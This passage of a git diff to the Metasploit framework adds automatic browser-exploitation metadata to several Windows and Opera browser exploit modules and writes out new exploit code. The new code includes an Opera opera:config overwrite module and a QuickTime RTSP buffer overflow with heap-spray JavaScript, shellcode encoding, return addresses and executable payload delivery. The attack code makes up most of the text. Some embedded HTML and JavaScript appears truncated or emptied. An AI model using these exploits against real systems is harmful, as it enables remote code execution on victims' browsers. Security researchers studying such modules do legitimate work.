Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :ua_name => HttpClients::OPERA, + :ua_ver => "1.0", + :os_name => [ OperatingSystems::WINDOWS, OperatingSystems::LINUX ], + :javascript => true, + :rank => ExcellentRanking, # reliable exe writer + :vuln_test => nil, + }) + + def initialize(info = {}) + super(update_info(info,{ + 'Name' => 'Opera 9 Configuration Overwrite', + 'Description' => %q{ + Opera web browser in versions <= 9.10 allows unrestricted script + access to its configuration page, opera:config, allowing an + attacker to change settings and potentially execute arbitrary + code. + }, + 'License' => BSD_LICENSE, + 'Author' => + [ + 'egypt', # stolen from mpack + ], + 'Version' => '$Revision: 6655 $', + 'References' => [ ], + 'Payload' => + { + 'ExitFunc' => 'process', + 'Space' => 4000, + 'DisableNops' => true, + 'BadChars' => " |'<>&", + }, + 'Targets' => + [ + #[ 'Opera < 9.10 Windows', + # { + # 'Platform' => 'win', + # 'Arch' => ARCH_X86, + # } + #], + [ 'Opera < 9.10 Unix Cmd', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + } + ], + ], + # Not sure when this was disclosed but it's been known since at + # least March 5, 2007, since that's the release date on the version + # of mpack I stole this from. + 'DisclosureDate' => 'Mar 5 2007' + })) + end + + def on_request_uri(cli, request) + + case request.uri + when /payload$/ + print_status("Generating payload for #{target} #{target.platform}") + # Re-generate the payload + if ((p = regenerate_payload(cli)) == nil) + print_error("Payload generation failed, 404ing request for #{request.uri}") + send_not_found(cli) + return + end + # NOTE: Change this to the new API when commiting to trunk + #content = Msf::Util::EXE.to_win32pe(p.encoded) + #content = Rex::Text.to_win32pe(p.encoded) + content = "foo" + print_status("Generated #{content.length} bytes") + headers = { 'Content-Type' => 'application/octet-stream' } + when get_resource + print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") + content = "" + headers = { 'Content-Type' => 'text/html' } + else + print_status("404ing request for #{request.uri}") + send_not_found(cli) + return + end + send_response_html(cli, content, headers) + + end + + def generate_evil_js(cli, request) + # There are a bunch of levels of quotes here, so the easiest way to + # make everything line up is to hex escape the command to run + p = regenerate_payload(cli).encoded + #print_status(p) + shellcode = Rex::Text.to_hex(p, "%") + js = < HttpClients::OPERA, + :javascript => true, + :rank => ExcellentRanking, # reliable command execution + :vuln_test => nil, + }) + def initialize(info = {}) super(update_info(info, 'Name' => 'Opera historysearch XSS', diff --git a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb index 9410bd2387..627b4bbb7f 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb @@ -17,20 +17,30 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :os_name => OperatingSystems::WINDOWS, + :javascript => true, + :rank => NormalRanking, # reliable memory corruption + :vuln_test => nil, + }) + def initialize(info = {}) super(update_info(info, 'Name' => 'Apple QuickTime 7.1.3 RTSP URI Buffer Overflow', 'Description' => %q{ - This module exploits a buffer overflow in Apple QuickTime 7.1.3. This module was - inspired by MOAB-01-01-2007. + This module exploits a buffer overflow in Apple QuickTime + 7.1.3. This module was inspired by MOAB-01-01-2007. The + Browser target for this module was tested against IE 6 and + Firefox 1.5.0.3 on Windows XP SP0/2; Firefox 3 blacklists the + QuickTime plugin. }, - 'Author' => [ 'MC' ], + 'Author' => [ 'MC', 'egypt' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2007-0015' ], - [ 'OSVDB', '31023' ], [ 'BID', '21829' ], [ 'URL', 'http://projects.info-pull.com/moab/MOAB-01-01-2007.html' ], ], @@ -41,12 +51,22 @@ class Metasploit3 < Msf::Exploit::Remote 'Payload' => { 'Space' => 500, - 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", + 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c", }, 'Platform' => 'win', 'Targets' => [ - [ 'Apple QuickTime Player 7.1.3', { 'Ret' => 0x6855d8a2 } ], # xpsp2/2k3 :( | vista ;) + [ 'Automatic', { } ], + [ 'Apple QuickTime Player 7.1.3', + { + 'Ret' => 0x6855d8a2 # xpsp2/2k3 :( | vista ;) + } + ], + [ 'Browser Universal', + { + 'Ret' => 0x0c0c0c0c # tested on xpsp0 and sp2 + } + ], ], 'Privileged' => false, 'DisclosureDate' => 'Jan 1 2007', @@ -57,21 +77,83 @@ class Metasploit3 < Msf::Exploit::Remote return if ((p = regenerate_payload(client)) == nil) - cruft = rand_text_english(4) + if (target.name =~ /Automatic/) + if (request['User-Agent'] =~ /QuickTime/i) + target = targets[1] + else + target = targets[2] + end + end - sploit = rand_text_english(307) + payload.encoded + "\xeb\x06" + rand_text_english(2) + cruft = rand_text_alphanumeric(4) + # This is all basically filler on the browser target because we can't + # expect the SEH to be in a reliable place across multiple browsers. + # Heap spray ftw. + sploit = rand_text_english(307) + sploit << p.encoded + "\xeb\x06" + rand_text_english(2) sploit << [target.ret].pack('V') + [0xe8, -485].pack('CV') - content = "" + "" - content << "\n" - - print_status("Sending #{self.name} to #{client.peerhost}:#{client.peerport}...") + if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /.qtl$/) + print_status("Sending #{self.name} exploit to #{client.peerhost}:#{client.peerport}...") + print_status("Trying target #{target.name}...") + content = build_qtl(sploit) + else + print_status("Sending #{self.name} init HTML to #{client.peerhost}:#{client.peerport}...") - send_response(client, content, { 'Content-Type' => 'text/html' }) + shellcode = Rex::Text.to_unescape(p.encoded) + url = ((datastore['SSL']) ? "https://" : "http://") + url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST']) + url << ":" + datastore['SRVPORT'] + url << get_resource + js = <<-ENDJS + #{js_heap_spray} + sprayHeap(unescape("#{shellcode}"), 0x#{target.ret.to_s 16}, 0x4000); + ENDJS + content = "" + content << <<-ENDEMBED + + + + + + + + + + ENDEMBED + content << "" + end + + send_response(client, content, { 'Content-Type' => "text/html" }) # Handle the payload handler(client) end + def build_qtl(overflow) + cruft = rand_text_english(4) + + content = "\n" + content << "\n" + content << "\n" + + end end diff --git a/modules/exploits/windows/browser/ie_createobject.rb b/modules/exploits/windows/browser/ie_createobject.rb index bc421a0b8a..bec0c61ac5 100644 --- a/modules/exploits/windows/browser/ie_createobject.rb +++ b/modules/exploits/windows/browser/ie_createobject.rb @@ -18,6 +18,31 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Seh include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :ua_name => HttpClients::IE, + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :vuln_test => 'CreateObject', + :classid => + [ + '{BD96C556-65A3-11D0-983A-00C04FC29E36}', + '{BD96C556-65A3-11D0-983A-00C04FC29E30}', + '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', + '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', + '{6414512B-B978-451D-A0D8-FCFDF33E833C}', + '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', + '{639F725F-1B2D-4831-A9FD-874847682010}', + '{BA018599-1DB3-44f9-83B4-461454C84BF8}', + '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', + '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', + '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', + '{0006F033-0000-0000-C000-000000000046}', + '{0006F03A-0000-0000-C000-000000000046}', + ], + :rank => ExcellentRanking # reliable exe writer + }) + def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer COM CreateObject Code Execution', @@ -86,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Remote if (request.uri.match(/payload/)) return if ((p = regenerate_payload(cli)) == nil) - data = Msf::Util::EXE.to_win32pe(framework,p.encoded, '') + data = Msf::Util::EXE.to_win32pe(framework,p.encoded) print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return @@ -221,7 +246,7 @@ function #{var_func_exploit}( ) { content = Rex::Text.randomize_space(content) - print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport}...") + print_status("Sending #{self.name} exploit HTML to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) diff --git a/modules/exploits/windows/browser/ie_xml_corruption.rb b/modules/exploits/windows/browser/ie_xml_corruption.rb index ae62051cdd..dfe81c124a 100644 --- a/modules/exploits/windows/browser/ie_xml_corruption.rb +++ b/modules/exploits/windows/browser/ie_xml_corruption.rb @@ -9,16 +9,20 @@ # http://metasploit.com/framework/ ## - require 'msf/core' - class Metasploit3 < Msf::Exploit::Remote - # - # This module acts as an HTTP server - # include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :ua_name => HttpClients::IE, + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :vuln_test => nil, # no way to test without just trying it + :rank => NormalRanking # reliable memory corruption + }) + def initialize(info = {}) super(update_info(info, @@ -97,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote if(not (token and @state[token])) - print_status("Sending init HTML to #{cli.peerhost}:#{cli.peerport}...") + print_status("Sending #{self.name} init HTML to #{cli.peerhost}:#{cli.peerport}...") token = rand_text_numeric(32) html = %Q| @@ -123,7 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote return end - if (uri.match(/\.dll$/i)) + if (uri.match(/\.dll/i)) print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...") @@ -222,6 +226,7 @@ class Metasploit3 < Msf::Exploit::Remote # HEAP SPRAY MODE # else + print_status("Heap spray mode") addr_a,addr_b = [0x0c0c0c0c].pack("V").unpack("v*").map{|v| "&##{v};" } diff --git a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb index 7322258474..5d092836c7 100644 --- a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb +++ b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb @@ -18,6 +18,17 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Egghunter + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :ua_name => HttpClients::IE, + :javascript => false, + :os_name => OperatingSystems::WINDOWS, + :vuln_test => nil, # no way to test without just trying it + :prefix_html => "", + :rank => NormalRanking # reliable memory corruption + }) + def initialize(info = {}) super(update_info(info, 'Name' => 'MS03-020 Internet Explorer Object Type', diff --git a/modules/exploits/windows/browser/ms06_067_keyframe.rb b/modules/exploits/windows/browser/ms06_067_keyframe.rb index 16b57eee46..70f69ccb0e 100644 --- a/modules/exploits/windows/browser/ms06_067_keyframe.rb +++ b/modules/exploits/windows/browser/ms06_067_keyframe.rb @@ -20,6 +20,16 @@ class Metasploit3 < Msf::Exploit::Remote # include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :ua_name => HttpClients::IE, + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :vuln_test => 'KeyFrame', + :classid => 'DirectAnimation.PathControl', + :rank => NormalRanking # reliable memory corruption + }) + def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability', diff --git a/modules/exploits/windows/browser/winzip_fileview.rb b/modules/exploits/windows/browser/winzip_fileview.rb index 1b1dbe954b..a06f461710 100644 --- a/modules/exploits/windows/browser/winzip_fileview.rb +++ b/modules/exploits/windows/browser/winzip_fileview.rb @@ -12,6 +12,16 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :ua_name => HttpClients::IE, + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :vuln_test => 'CreateNewFolderFromName', + :classid => '{A09AE68F-B14D-43ED-B713-BA413F034904}', + :rank => NormalRanking # reliable memory corruption + }) + def initialize(info = {}) super(update_info(info, 'Name' => 'WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow',